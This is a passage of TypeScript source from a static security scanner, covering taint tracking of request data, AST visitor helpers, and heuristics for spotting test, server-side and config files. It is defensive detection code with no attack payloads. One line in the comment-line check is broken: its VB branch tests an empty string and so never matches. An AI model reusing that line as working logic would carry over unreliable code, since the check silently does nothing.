(returns.some((r) => formattedFlow(r, name))) out.add(i);\n }\n return out;\n}\n\nexport interface TaintMap {\n /** true iff the given expression node evaluates to tainted data. */\n isTainted(node: Node | null | undefined): boolean;\n /** true iff the named identifier is bound to tainted data somewhere visible. */\n isTaintedIdent(name: string): boolean;\n /** Debug: all identifiers the analysis marked tainted, in discovery order. */\n taintedNames(): string[];\n}\n\n/**\n * Build a TaintMap for one parsed file. Single traversal, propagates taint\n * through:\n * - const/let bindings: const x = req.body.foo → x tainted\n * - destructuring: const { foo } = req.body → foo tainted\n * - assignment expressions: y = x; x is tainted → y tainted\n * - function params named req/request/ctx (inside handlers, `req.body` is\n * tainted even if we didn't see the outer binding)\n */\nexport function buildTaintMap(parsed: ParsedFile): TaintMap {\n const tainted = new Set<string>();\n\n /** Mark a binding target (Identifier / ObjectPattern / ArrayPattern) tainted. */\n function markPatternTainted(target: Node): void {\n if (target.type === \"Identifier\") {\n tainted.add(target.name);\n } else if (target.type === \"ObjectPattern\") {\n for (const prop of target.properties) {\n if (prop.type === \"ObjectProperty\" && prop.value.type === \"Identifier\") {\n tainted.add(prop.value.name);\n } else if (prop.type === \"RestElement\" && prop.argument.type === \"Identifier\") {\n tainted.add(prop.argument.name);\n }\n }\n } else if (target.type === \"ArrayPattern\") {\n for (const el of target.elements) {\n if (el && el.type === \"Identifier\") tainted.add(el.name);\n else if (el && el.type === \"RestElement\" && el.argument.type === \"Identifier\") {\n tainted.add(el.argument.name);\n }\n }\n }\n }\n\n /** Does this expression reach a request-like identifier through `.request`? */\n function reachesRequestIdent(node: Node | null | undefined): boolean {\n if (!node) return false;\n if (node.type === \"Identifier\") return TAINTED_REQUEST_OBJECTS.has(node.name);\n if (node.type === \"MemberExpression\") {\n // ctx.request, context.request — step through\n if (\n node.property.type === \"Identifier\" &&\n node.property.name === \"request\" &&\n node.object.type === \"Identifier\" &&\n TAINTED_REQUEST_OBJECTS.has(node.object.name)\n ) {\n return true;\n }\n return reachesRequestIdent(node.object);\n }\n return false;\n }\n\n function nodeIsTaintedSource(node: Node | null | undefined): boolean {\n if (!node) return false;\n // req.body / request.query / ctx.request.body / event.body / searchParams\n if (node.type === \"MemberExpression\") {\n const prop = node.property;\n const propName =\n prop.type === \"Identifier\"\n ? prop.name\n : prop.type === \"StringLiteral\"\n ? prop.value\n : \"\";\n\n if (TAINTED_PROP_SUFFIXES.has(propName)) {\n // Anchor object must be a known request-like identifier, a\n // ctx.request-style two-hop path, or another tainted-source\n // expression (req.query.x, ctx.request.body.user).\n const obj = node.object;\n if (obj.type === \"Identifier\" && TAINTED_REQUEST_OBJECTS.has(obj.name)) {\n return true;\n }\n if (reachesRequestIdent(obj)) return true;\n if (nodeIsTaintedSource(obj)) return true;\n }\n\n // process.argv handled as a special case here since it doesn't fit\n // the request-object / tainted-suffix shape.\n if (\n node.object.type === \"Identifier\" &&\n node.object.name === \"process\" &&\n prop.type === \"Identifier\" &&\n prop.name === \"argv\"\n ) {\n return true;\n }\n\n // req.body.foo — any descendant of a tainted source is tainted.\n if (nodeIsTaintedSource(node.object)) return true;\n return false;\n }\n\n // Method calls: e.g. searchParams.get(\"foo\"), url.searchParams.get(...)\n if (node.type === \"CallExpression\") {\n const callee = node.callee;\n if (\n callee.type === \"MemberExpression\" &&\n callee.property.type === \"Identifier\" &&\n callee.property.name === \"get\" &&\n nodeIsTaintedSource(callee.object)\n ) {\n return true;\n }\n\n // Next.js / Web Fetch API body readers:\n // await request.json()\n // await request.formData()\n // await request.text()\n // await request.arrayBuffer()\n // await request.blob()\n // The request object is the one Next.js hands to a route handler; its\n // body is attacker-controlled.\n const BODY_READERS = new Set([\"json\", \"formData\", \"text\", \"arrayBuffer\", \"blob\"]);\n if (\n callee.type === \"MemberExpression\" &&\n callee.property.type === \"Identifier\" &&\n BODY_READERS.has(callee.property.name)\n ) {\n const obj = callee.object;\n if (obj.type === \"Identifier\" && TAINTED_REQUEST_OBJECTS.has(obj.name)) {\n return true;\n }\n if (reachesRequestIdent(obj)) return true;\n }\n }\n\n // `await <tainted-expr>` — unwrap the AwaitExpression and propagate.\n if (node.type === \"AwaitExpression\") {\n return nodeIsTaintedSource(node.argument);\n }\n\n return false;\n }\n\n /** Does this expression (not just a MemberExpression) produce tainted data? */\n function exprIsTainted(node: Node | null | undefined): boolean {\n if (!node) return false;\n if (nodeIsTaintedSource(node)) return true;\n if (node.type === \"Identifier\") return tainted.has(node.name);\n if (node.type === \"TemplateLiteral\") {\n return node.expressions.some((e) => exprIsTainted(e as Node));\n }\n if (node.type === \"BinaryExpression\" && node.operator === \"+\") {\n return exprIsTainted(node.left) || exprIsTainted(node.right);\n }\n if (node.type === \"LogicalExpression\" && (node.operator === \"||\" || node.operator === \"??\")) {\n return exprIsTainted(node.left) || exprIsTainted(node.right);\n }\n if (node.type === \"ConditionalExpression\") {\n return exprIsTainted(node.consequent) || exprIsTainted(node.alternate);\n }\n if (node.type === \"MemberExpression\") {\n return exprIsTainted(node.object);\n }\n if (node.type === \"CallExpression\") {\n // Body-reader calls: await request.json() — taint the whole call.\n if (nodeIsTaintedSource(node)) return true;\n // Taint-preserving calls: fs.readFile(tainted), csv.parse(tainted).\n if (callPreservesTaint(node, exprIsTainted)) return true;\n // One-hop helper: build(tainted) where build interpolates its param.\n if (localCallPropagates(node, exprIsTainted)) return true;\n if (node.callee.type === \"MemberExpression\") {\n if (exprIsTainted(node.callee.object)) return true;\n // Known passthroughs that propagate taint from args to return:\n // path.join / resolve / normalize / format / parse / relative.\n const obj = node.callee.object;\n const prop = node.callee.property;\n if (\n prop.type === \"Identifier\" &&\n obj.type === \"Identifier\" &&\n obj.name === \"path\" &&\n [\"join\", \"resolve\", \"normalize\", \"format\", \"parse\", \"relative\"].includes(prop.name)\n ) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && exprIsTainted(a as Node));\n }\n // Buffer.from(x) / Buffer.concat([tainted]) etc. — propagate.\n if (\n prop.type === \"Identifier\" &&\n obj.type === \"Identifier\" &&\n obj.name === \"Buffer\" &&\n [\"from\", \"concat\", \"alloc\", \"allocUnsafe\"].includes(prop.name)\n ) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && exprIsTainted(a as Node));\n }\n }\n // Coercion wrappers (String/Number/URL/etc. called as bare identifiers)\n if (node.callee.type === \"Identifier\") {\n if ([\"String\", \"Number\", \"Boolean\", \"URL\", \"URLSearchParams\"].includes(node.callee.name)) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && exprIsTainted(a as Node));\n }\n }\n }\n if (node.type === \"AwaitExpression\") {\n return exprIsTainted(node.argument);\n }\n // Spread of a tainted value into a literal: { ...tainted } / [ ...tainted ].\n if (node.type === \"ArrayExpression\") {\n return node.elements.some(\n (el) => el != null && el.type === \"SpreadElement\" && exprIsTainted(el.argument as Node),\n );\n }\n if (node.type === \"ObjectExpression\") {\n return node.properties.some(\n (p) => p.type === \"SpreadElement\" && exprIsTainted(p.argument as Node),\n );\n }\n return false;\n }\n\n // Pre-pass: summarize same-file helper functions (declarations and\n // const = arrow/function) by which param indices flow raw into a\n // builder-shaped return. Runs before the seeding traverse; computePassthrough\n // is a pure structural check (no taint queries), so there's no recursion or\n // ordering hazard with exprIsTainted.\n const fnPassthrough = new Map<string, Set<number>>();\n const recordFn = (name: string, fn: Node): void => {\n const pt = computePassthrough(fn);\n if (pt.size > 0) fnPassthrough.set(name, pt);\n };\n traverse(parsed.ast, {\n FunctionDeclaration(path: NodePath) {\n const n = path.node;\n if (n.type === \"FunctionDeclaration\" && n.id && n.id.type === \"Identifier\") {\n recordFn(n.id.name, n);\n }\n },\n VariableDeclarator(path: NodePath) {\n const n = path.node;\n if (n.type !== \"VariableDeclarator\" || n.id.type !== \"Identifier\" || !n.init) return;\n if (n.init.type === \"ArrowFunctionExpression\" || n.init.type === \"FunctionExpression\") {\n recordFn(n.id.name, n.init);\n }\n },\n });\n\n /** One-hop: a tainted arg at a helper's passthrough index taints the call. */\n function localCallPropagates(\n node: CallExpression,\n rec: (n: Node | null | undefined) => boolean,\n ): boolean {\n if (node.callee.type !== \"Identifier\") return false;\n const pt = fnPassthrough.get(node.callee.name);\n if (!pt) return false;\n return node.arguments.some(\n (a, i) => pt.has(i) && a.type !== \"SpreadElement\" && rec(a as Node),\n );\n }\n\n // Walk once and seed `tainted` with identifier names bound to tainted\n // expressions. We also collect assignment-propagation so `y = x` after\n // `x = req.body.foo` marks y tainted — this takes one pass because Babel\n // visits assignments in source order.\n traverse(parsed.ast, {\n VariableDeclarator(path: NodePath) {\n const node = path.node;\n if (node.type !== \"VariableDeclarator\") return;\n const init = node.init;\n if (!init) return;\n\n // const x = <tainted> → mark x\n if (node.id.type === \"Identifier\") {\n if (exprIsTainted(init)) {\n tainted.add(node.id.name);\n }\n }\n\n // const { a, b: c } = <tainted> → mark a, c\n if (node.id.type === \"ObjectPattern\") {\n const isTainted =\n nodeIsTaintedSource(init) ||\n (init.type === \"Identifier\" && tainted.has(init.name));\n if (isTainted) {\n for (const prop of node.id.properties) {\n if (prop.type === \"ObjectProperty\") {\n if (prop.value.type === \"Identifier\") tainted.add(prop.value.name);\n } else if (prop.type === \"RestElement\") {\n if (prop.argument.type === \"Identifier\") tainted.add(prop.argument.name);\n }\n }\n }\n }\n },\n\n AssignmentExpression(path: NodePath) {\n const node = path.node;\n if (node.type !== \"AssignmentExpression\") return;\n if (node.operator !== \"=\" && node.operator !== \"||=\" && node.operator !== \"??=\") return;\n if (node.left.type !== \"Identifier\") return;\n if (exprIsTainted(node.right)) {\n tainted.add(node.left.name);\n }\n },\n\n // for (const row of <tainted>) → row tainted (and destructured names).\n ForOfStatement(path: NodePath) {\n const node = path.node;\n if (node.type !== \"ForOfStatement\") return;\n if (!exprIsTainted(node.right)) return;\n const decl = node.left;\n const target =\n decl.type === \"VariableDeclaration\" && decl.declarations[0]\n ? decl.declarations[0].id\n : decl;\n markPatternTainted(target);\n },\n\n // Array-iteration element taint: <tainted>.map((row) => …) marks `row`\n // tainted inside the callback. Gated on the receiver already being\n // tainted, so this never originates taint.\n CallExpression(path: NodePath) {\n const node = path.node;\n if (node.type !== \"CallExpression\") return;\n const callee = node.callee;\n if (callee.type !== \"MemberExpression\" || callee.property.type !== \"Identifier\") return;\n const method = callee.property.name;\n const isReduce = ARRAY_REDUCE_METHODS.has(method);\n if (!ARRAY_ELEMENT_METHODS.has(method) && !isReduce) return;\n if (!exprIsTainted(callee.object)) return;\n const cb = node.arguments[0];\n if (!cb || (cb.type !== \"ArrowFunctionExpression\" && cb.type !== \"FunctionExpression\")) return;\n const elemParam = cb.params[isReduce ? 1 : 0]; // reduce: (acc, element)\n if (elemParam) markPatternTainted(elemParam as Node);\n },\n });\n\n const isTainted = (node: Node | null | undefined): boolean => {\n if (!node) return false;\n if (node.type === \"Identifier\") return tainted.has(node.name);\n if (nodeIsTaintedSource(node)) return true;\n // Template literals / string concat with a tainted piece.\n if (node.type === \"TemplateLiteral\") {\n return node.expressions.some((e) => isTainted(e as Node));\n }\n if (node.type === \"BinaryExpression\" && node.operator === \"+\") {\n return isTainted(node.left) || isTainted(node.right);\n }\n // Logical expressions (next || \"/dashboard\", value ?? fallback) —\n // if either operand is tainted, the result can carry that value.\n if (\n node.type === \"LogicalExpression\" &&\n (node.operator === \"||\" || node.operator === \"??\" || node.operator === \"&&\")\n ) {\n return isTainted(node.left) || isTainted(node.right);\n }\n // Ternary: condition ? tainted : safe → could still return tainted.\n if (node.type === \"ConditionalExpression\") {\n return isTainted(node.consequent) || isTainted(node.alternate);\n }\n // Unwrap await expressions transparently.\n if (node.type === \"AwaitExpression\") {\n return isTainted(node.argument);\n }\n // Nested member access on a tainted root.\n if (node.type === \"MemberExpression\") {\n return isTainted(node.object);\n }\n // Call on a tainted receiver (e.g., `tainted.toString()` is still tainted).\n if (node.type === \"CallExpression\") {\n // Taint-preserving calls: fs.readFile(tainted), csv.parse(tainted).\n if (callPreservesTaint(node, isTainted)) return true;\n // One-hop helper: build(tainted) where build interpolates its param.\n if (localCallPropagates(node, isTainted)) return true;\n if (node.callee.type === \"MemberExpression\") {\n if (isTainted(node.callee.object)) return true;\n // Known passthrough calls: path.join/resolve/normalize/format etc.\n // propagate taint from any argument to the return value. Without\n // this, `path.join(BASE, tainted)` silently cleans the taint and\n // path-traversal rules don't fire on the classic `fs.readFile(\n // path.join(dir, req.query.file)` shape.\n const obj = node.callee.object;\n const prop = node.callee.property;\n if (\n prop.type === \"Identifier\" &&\n obj.type === \"Identifier\" &&\n obj.name === \"path\" &&\n [\"join\", \"resolve\", \"normalize\", \"format\", \"relative\", \"parse\"].includes(prop.name)\n ) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && isTainted(a as Node));\n }\n // Buffer.from(x) / Buffer.concat([...]) — member-expression wrappers\n // that propagate taint from any argument. Without this, wrapping a\n // tainted string in Buffer.from silently cleans it.\n if (\n prop.type === \"Identifier\" &&\n obj.type === \"Identifier\" &&\n obj.name === \"Buffer\" &&\n [\"from\", \"concat\", \"alloc\", \"allocUnsafe\"].includes(prop.name)\n ) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && isTainted(a as Node));\n }\n }\n // Coercion-style wrappers called as bare identifiers: String(x),\n // Number(x), URL(x), etc.\n if (node.callee.type === \"Identifier\") {\n if ([\"String\", \"Number\", \"Boolean\", \"URL\", \"URLSearchParams\"].includes(node.callee.name)) {\n return node.arguments.some((a) => a.type !== \"SpreadElement\" && isTainted(a as Node));\n }\n }\n }\n // Spread of a tainted value into a literal: { ...tainted } / [ ...tainted ].\n if (node.type === \"ArrayExpression\") {\n return node.elements.some(\n (el) => el != null && el.type === \"SpreadElement\" && isTainted(el.argument as Node),\n );\n }\n if (node.type === \"ObjectExpression\") {\n return node.properties.some(\n (p) => p.type === \"SpreadElement\" && isTainted(p.argument as Node),\n );\n }\n return false;\n };\n\n return {\n isTainted,\n isTaintedIdent: (name: string) => tainted.has(name),\n taintedNames: () => Array.from(tainted),\n };\n}\n","/**\n * Visitor helpers for rule authors. Each helper takes a parsed file and a\n * callback, and walks the AST in the most common pattern (find call\n * expressions to a particular function, find member expressions of a\n * particular shape, etc.).\n *\n * The rule code stays short and declarative; this file carries the\n * @babel/traverse boilerplate and default-export interop.\n */\nimport type { BinaryExpression, CallExpression, Node, ObjectExpression, SpreadElement } from \"@babel/types\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type { ParsedFile } from \"./parse.js\";\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/**\n * Visit every BinaryExpression in the parsed file. Rule authors use this to\n * catch `a === b` / `a !== b` comparisons where one side is a secret identifier.\n */\nexport function visitBinary(\n parsed: ParsedFile,\n visit: (node: BinaryExpression, line: number) => void,\n): void {\n traverse(parsed.ast, {\n BinaryExpression(path) {\n const line = path.node.loc?.start.line ?? 1;\n visit(path.node, line);\n },\n });\n}\n\n/**\n * Visit every CallExpression. `matchCallee` decides whether to surface the\n * call; if it returns true, `visit` is invoked with the node and its\n * 1-indexed source line.\n */\nexport function visitCalls(\n parsed: ParsedFile,\n matchCallee: (callee: Node) => boolean,\n visit: (call: CallExpression, line: number) => void,\n): void {\n traverse(parsed.ast, {\n CallExpression(path) {\n const node = path.node;\n if (!matchCallee(node.callee)) return;\n const line = node.loc?.start.line ?? 1;\n visit(node, line);\n },\n });\n}\n\n/**\n * \"Does this callee resolve to a member/global named <name>?\" — handles\n * foo(x)\n * obj.foo(x)\n * a.b.foo(x)\n * foo?.(x)\n * Matches the terminal identifier only; doesn't bind to a specific receiver.\n */\nexport function isCalleeNamed(callee: Node, name: string): boolean {\n if (callee.type === \"Identifier\") return callee.name === name;\n if (callee.type === \"MemberExpression\" && callee.property.type === \"Identifier\") {\n return callee.property.name === name;\n }\n if (callee.type === \"OptionalMemberExpression\" && callee.property.type === \"Identifier\") {\n return callee.property.name === name;\n }\n return false;\n}\n\n/**\n * Matches a call to `objName.methodName(...)` — useful for things like\n * `_.merge`, `Object.assign`, `Handlebars.compile`, `libxml.parseXml`.\n */\nexport function isMethodCall(callee: Node, objName: string, methodName: string): boolean {\n if (callee.type !== \"MemberExpression\" && callee.type !== \"OptionalMemberExpression\") {\n return false;\n }\n if (callee.property.type !== \"Identifier\") return false;\n if (callee.property.name !== methodName) return false;\n if (callee.object.type !== \"Identifier\") return false;\n return callee.object.name === objName;\n}\n\n/** Looks up an ObjectExpression property by key name. */\nexport function getObjectProperty(\n node: ObjectExpression,\n key: string,\n): { value: Node } | null {\n for (const prop of node.properties) {\n if (prop.type === \"ObjectProperty\") {\n if (prop.key.type === \"Identifier\" && prop.key.name === key) {\n return { value: prop.value as Node };\n }\n if (prop.key.type === \"StringLiteral\" && prop.key.value === key) {\n return { value: prop.value as Node };\n }\n }\n }\n return null;\n}\n\n/** Does this CallExpression spread an expression `matcher` returns true for? */\nexport function callSpreads(\n call: CallExpression,\n matcher: (node: Node) => boolean,\n): boolean {\n for (const arg of call.arguments) {\n if (arg.type === \"SpreadElement\") {\n if (matcher((arg as SpreadElement).argument as Node)) return true;\n }\n // Direct Object spread inside an object-literal argument:\n // fn({ ...req.body })\n if (arg.type === \"ObjectExpression\") {\n for (const prop of arg.properties) {\n if (prop.type === \"SpreadElement\") {\n if (matcher((prop as SpreadElement).argument as Node)) return true;\n }\n }\n }\n }\n return false;\n}\n","import type { CustomRule, Finding, RuleMatch } from \"./types.js\";\nimport { getSnippet, lineNumberAt } from \"./snippet.js\";\nimport { supabaseFunctionName, type ProjectContext } from \"./project-context.js\";\nimport { isInlineSilenced, isLineSilenced } from \"./silencing.js\";\nimport { isVendoredPath, isVendoredFinding } from \"./vendored.js\";\nimport {\n parseFile,\n buildTaintMap,\n visitCalls,\n visitBinary,\n isCalleeNamed,\n isMethodCall,\n getObjectProperty,\n callSpreads,\n type ParsedFile,\n type TaintMap,\n} from \"./ast/index.js\";\nimport type { Node } from \"@babel/types\";\n\n// ────────────────────────────────────────────\n// GLOBAL PRE-FILTERS\n// Reduces false positives before any rule runs\n// ────────────────────────────────────────────\n\n// Broad test/mock/fixture file detection\nexport const TEST_FILE_PATTERN = /(?:\\.test\\.|\\.spec\\.|__tests__|__mocks__|\\.stories\\.|\\.story\\.|\\/test\\/|\\/tests\\/|\\/fixtures?\\/|\\/mocks?\\/|\\.mock\\.|test-utils|testing|\\.cy\\.|\\.e2e\\.)/i;\n\nexport function isTestFile(filePath: string): boolean {\n return TEST_FILE_PATTERN.test(filePath);\n}\n\n// Looks like the header of a function or route handler, checked against the\n// ~240 characters preceding a block's opening brace.\nconst HANDLER_HEADER_RE =\n /(?:\\b(?:async\\s+)?function\\b|=>\\s*$|=>\\s*\\{?\\s*$|\\.(?:get|post|put|patch|delete|use|all)\\s*\\(|\\bexport\\s+(?:async\\s+)?(?:function|const)\\s+(?:GET|POST|PUT|PATCH|DELETE)\\b|\\b(?:Deno\\.)?serve\\s*\\()/i;\n\n/**\n * Blank out comments while preserving every byte offset and newline.\n *\n * The usual `codeOnly` idiom in this file DELETES comments, which shifts every\n * index after the first one — fine for rules that only ask \"does this token\n * appear?\", useless for anything that reports a line number or slices a scope\n * by index.\n *\n * Needed because prose is indistinguishable from code to a regex. A clean\n * fixture written as `// Sequelize .find({ where }) scoped by the owner` had\n * its COMMENT matched as the record lookup, so the query scope resolved to\n * `({ where })` — no ownership token, and a correctly-scoped query was\n * reported as an IDOR. Real code is full of comments that quote the code\n * beneath them, so this is not a fixture artefact.\n */\nexport function maskComments(content: string): string {\n return content\n .replace(/\\/\\*[\\s\\S]*?\\*\\//g, (m) => m.replace(/[^\\n]/g, \" \"))\n .replace(/(^|[^:])\\/\\/[^\\n]*/gm, (m, p1: string) => p1 + \" \".repeat(m.length - p1.length));\n}\n\n/**\n * Return the source of the handler enclosing `index`, or null if none is found.\n *\n * WHY THIS EXISTS. VC003 and VC158 both decided \"is this route protected?\" by\n * grepping the ENTIRE FILE for auth or ownership vocabulary. A single matching\n * token anywhere in a file exempted every handler in it, no matter how far away\n * the token was or what it was doing.\n *\n * The held-out DVNA IDOR case is the clean demonstration. Its vulnerable\n * handler runs `db.User.find({ where: { 'id': req.body.id } })` with no\n * ownership scoping at all — but a DIFFERENT function in the same file calls\n * `res.render('app/useredit', { userId: req.user.id })`. The whole-file greps\n * saw `userId` and `req.user`, concluded the file was safe, and returned before\n * reaching any detection logic.\n *\n * The distinction the fixtures already encode is proximity, not vocabulary:\n * clean/VC158-express-ownership-check scopes with\n * `where: { id: req.params.id, userId: req.user.id }` — the ownership token is\n * INSIDE the query. This narrows the guards to the handler actually performing\n * the lookup, which is the only scope in which \"is ownership enforced here?\"\n * is a meaningful question.\n *\n * Heuristic and deliberately conservative: brace counting, no parser, and it\n * does not understand braces inside strings, template literals or regex\n * literals. When it cannot confidently identify a handler it returns null, and\n * both callers then fall back to whole-file behaviour — so a failure to parse\n * can only preserve today's result, never invent a new finding.\n */\nexport function enclosingHandler(content: string, index: number): string | null {\n const MAX_LEVELS = 6;\n let searchFrom = index;\n\n for (let level = 0; level < MAX_LEVELS; level++) {\n // Walk backwards to the unmatched `{` that opens the block containing us.\n let depth = 0;\n let open = -1;\n for (let i = searchFrom; i >= 0; i--) {\n const c = content[i];\n if (c === \"}\") depth++;\n else if (c === \"{\") {\n if (depth === 0) { open = i; break; }\n depth--;\n }\n }\n if (open === -1) return null;\n\n // Forward to its matching `}`.\n let fwd = 0;\n let close = -1;\n for (let i = open; i < content.length; i++) {\n const c = content[i];\n if (c === \"{\") fwd++;\n else if (c === \"}\") {\n fwd--;\n if (fwd === 0) { close = i; break; }\n }\n }\n if (close === -1 || close < index) return null;\n\n // The header window exists so route registration and middleware arguments\n // (`router.get(\"/x\", requireAuth, (req, res) => {`) count as part of the\n // handler. But a fixed lookback reaches into whatever precedes it, so it\n // is cut at the last `}` or `;` in the window — the end of the previous\n // statement or block.\n //\n // Without that cut, two sibling handlers bleed into each other: given an\n // authenticated GET followed by an unauthenticated DELETE, DELETE's\n // lookback swallowed the tail of GET, found its session check, and\n // declared DELETE authenticated. That is precisely the bug this scoping\n // work exists to fix, reintroduced one level down.\n const rawStart = Math.max(0, open - 240);\n const window = content.slice(rawStart, open);\n const cut = Math.max(window.lastIndexOf(\"}\"), window.lastIndexOf(\";\"));\n const headerStart = cut === -1 ? rawStart : rawStart + cut + 1;\n const header = content.slice(headerStart, open);\n if (HANDLER_HEADER_RE.test(header)) {\n return content.slice(headerStart, close + 1);\n }\n\n // Not a handler (an object literal, an if-block, a class body) — step out.\n searchFrom = open - 1;\n if (searchFrom < 0) return null;\n }\n return null;\n}\n\n// Centralized \"this file looks like server-side code\" heuristic. Used by\n// every rule that gates on \"is this an API/route/handler/middleware file?\"\n// Two shapes:\n// - directory-style: /api/, /routes/, /controllers/, /endpoints/, /handlers/,\n// /middleware/, /webhooks/, /services/, /lambda/, /functions/, /pages/api/,\n// /app/.../route.{js,ts}\n// - bare-filename: routes.js, handler.js, middleware.js, server.js, app.js,\n// index.js, main.js, controller.js, api.js, webhook.js, login.js, auth.js,\n// admin.js, signup.js, register.js, callback.js, oauth.js, ingest.js,\n// create-*.js, update-*.js, delete-*.js, audit.js, etc.\n//\n// The bare-filename branch matters because many small projects organize code\n// flat at the package root rather than under nested route directories. Without\n// this our path filters fired only on conventional layouts and silently dropped\n// findings on minimalist apps and serverless function packages.\nconst SERVER_SIDE_PATH_RE = new RegExp(\n [\n // Directory-style anchors — match with OR without leading slash so\n // relative paths (`routes/users.js`) work as well as absolute.\n \"(?:^|/)api/\",\n \"(?:^|/)routes?/\",\n \"(?:^|/)controllers?/\",\n \"(?:^|/)endpoints?/\",\n \"(?:^|/)handlers?/\",\n \"(?:^|/)middleware/\",\n \"(?:^|/)webhooks?/\",\n \"(?:^|/)services?/\",\n \"(?:^|/)lambda/\",\n \"(?:^|/)functions?/\",\n \"(?:^|/)pages/api/\",\n \"(?:^|/)app/.*/route\\\\.(?:m?[jt]sx?|cjs)$\",\n // Bare-filename anchors (with or without leading directory).\n // Allows compound names like webhook-handler.js, cron-runner.js,\n // user-service.ts via the optional (?:[-_]\\w+)* suffix group.\n \"(?:^|/)(?:api|routes?|controllers?|endpoints?|handlers?|middleware|webhooks?|services?|server|app|index|main|lambda|function|ingest|runner|worker|resolvers?)(?:[-_]\\\\w+)*\\\\.(?:m?[jt]sx?|cjs|py|rb|go)$\",\n // Common functional names that imply request handling.\n \"(?:^|/)(?:auth|login|logout|signup|signin|register|password|reset|callback|oauth|admin|dashboard|profile|account|checkout|payment|webhook|audit|cron|search|upload|download|errors?|create-?\\\\w*|update-?\\\\w*|delete-?\\\\w*)(?:[-_]\\\\w+)*\\\\.(?:m?[jt]sx?|cjs|py|rb|go)$\",\n ].join(\"|\"),\n \"i\",\n);\n\n// Strong server-side request-handling signals in file CONTENT. Used as a\n// fallback when the filename doesn't match SERVER_SIDE_PATH_RE — a file that\n// reads `req.body`, defines `app.post(...)`, or exports a `(req, res)` handler\n// IS server-side regardless of what it's named. Closes a real recall gap:\n// camelCase compound names (appHandler.js, userController.js, paymentService.js)\n// never matched the separator-delimited filename anchors, so the data-flow\n// rules (command injection, SQLi, XXE, mass assignment, …) silently skipped\n// them. Surfaced by the held-out benchmark on DVNA's core/appHandler.js.\n//\n// Deliberately narrow — every token here is an unambiguous Express/Koa/Lambda\n// SERVER signal that frontend code does not produce. (Note what's NOT here:\n// `res.json()` / `res.send()` are excluded on purpose — they collide with the\n// extremely common frontend idiom `fetch(...).then(res => res.json())`.) The\n// gate only ENABLES scanning; each rule still has to find its actual vulnerable\n// pattern, so widening it can't fire on safe code by itself.\n//\n// The Express-import alternative bounds the gap to {0,200} (NOT a greedy `*`).\n// A real `import … from 'express'` / `require('express')` has the literal\n// within a few dozen chars of the keyword; an unbounded `[^;\\n]*` instead\n// backtracks the whole line on a pathological single-line payload of repeated\n// `require ` tokens that never contains `'express'`, which is quadratic across\n// the many anchor positions and pinned the public scan endpoint at ~15s for a\n// single 256KB file (CPU DoS — security review June 2026). The bound makes the\n// worst case linear while still matching every realistic import statement.\nconst SERVER_SIDE_CONTENT_RE =\n /\\b(?:req|request)\\.(?:body|query|params|headers|cookies)\\b|\\b(?:app|router)\\.(?:get|post|put|patch|delete|use|all)\\s*\\(|\\bctx\\.request\\b|\\bevent\\.(?:body|queryStringParameters|pathParameters)\\b|\\(\\s*req\\s*,\\s*res\\b|(?:import|require)\\b[^;\\n]{0,200}['\"]express['\"]|\\bNextFunction\\b/;\n\nexport function isServerSideFile(filePath: string, content?: string): boolean {\n if (isTestFile(filePath)) return false;\n if (SERVER_SIDE_PATH_RE.test(filePath)) return true;\n // A file-level \"use server\" is not a hint, it is a declaration: React runs\n // every export in this file on the server and exposes it as a callable POST\n // endpoint. It is stronger evidence than any path heuristic, and server\n // actions live wherever the author put them — src/actions/, lib/, beside a\n // component — so the path tests routinely miss them. Measured on the `wedge`\n // corpus: 15 unauthenticated server actions, none of them reported.\n if (content && /^\\s*[\"']use server[\"']/m.test(content)) return true;\n if (content && SERVER_SIDE_CONTENT_RE.test(content)) return true;\n return false;\n}\n\n// \"This file looks like a config file.\" Different shape from server-side\n// code: filenames like db.config.js, knexfile.js, drizzle.config.ts,\n// next.config.js, vite.config.ts, *.conf, .env*, settings.py, etc.\nconst CONFIG_FILE_PATTERN = new RegExp(\n [\n \"\\\\.config\\\\.(?:m?[jt]sx?|cjs)$\",\n \"(?:^|/)config\\\\.(?:m?[jt]sx?|cjs|py|rb|json|ya?ml)$\",\n \"(?:^|/)settings\\\\.(?:m?[jt]sx?|cjs|py)$\",\n \"(?:^|/)\\\\.env(?:\\\\.|$)\",\n \"(?:^|/)(?:knex|drizzle|next|vite|rollup|webpack|tailwind|postcss|jest|vitest|tsup|babel)\\\\.config\\\\.(?:m?[jt]sx?|cjs)$\",\n \"(?:^|/)(?:db|database|connection|pool)\\\\.(?:config\\\\.)?(?:m?[jt]sx?|cjs|py|rb)$\",\n ].join(\"|\"),\n \"i\",\n);\n\nfunction isConfigFile(filePath: string): boolean {\n return CONFIG_FILE_PATTERN.test(filePath);\n}\n\n// Check if a match falls on a comment line (JS/TS/Python/Ruby/YAML/HTML)\n/**\n * The full text of the line containing `index`.\n *\n * Exists because `content.substring(lineStart, content.indexOf(\"\\n\", index))`\n * is wrong for a match on the LAST line of a file with no trailing newline:\n * indexOf returns -1, and `substring(start, -1)` does not return \"\" — it\n * clamps and swaps, handing back `content.substring(0, lineStart)`, which is\n * everything BEFORE the line.\n *\n * That silently dropped findings. isCommentLine would test the top of the file\n * instead of the match's line, so any file that opens with a comment — a\n * licence header, a docblock, an explanatory note — lost every finding on its\n * last line. It runs for every regex rule, so this was not one rule's problem.\n *\n * Four other sites in this file already guard the -1 explicitly. This is the\n * same fix, in one place, for the seven that did not.\n */\nexport function lineTextAt(content: string, index: number): string {\n const lineStart = content.lastIndexOf(\"\\n\", index - 1) + 1;\n const lineEnd = content.indexOf(\"\\n\", index);\n return content.substring(lineStart, lineEnd === -1 ? content.length : lineEnd);\n}\n\nexport function isCommentLine(content: string, matchIndex: number): boolean {\n const lineText = lineTextAt(content, matchIndex).trimStart();\n return (\n lineText.startsWith(\"//\") ||\n lineText.startsWith(\"#\") ||\n lineText.startsWith(\"*\") ||\n lineText.startsWith(\"/*\") ||\n lineText.startsWith(\"<!--\") ||\n lineText.startsWith(\"'\") && lineText.length > 1 && /\\.(vb|bas)$/i.test(\"\") // VB comments\n );\n}\n\n// Check if a match is inside a string literal that's a fix/description message\n// (e.g., inside a findMatches callback or rule description)\nexport function isInsideFixMessage(content: 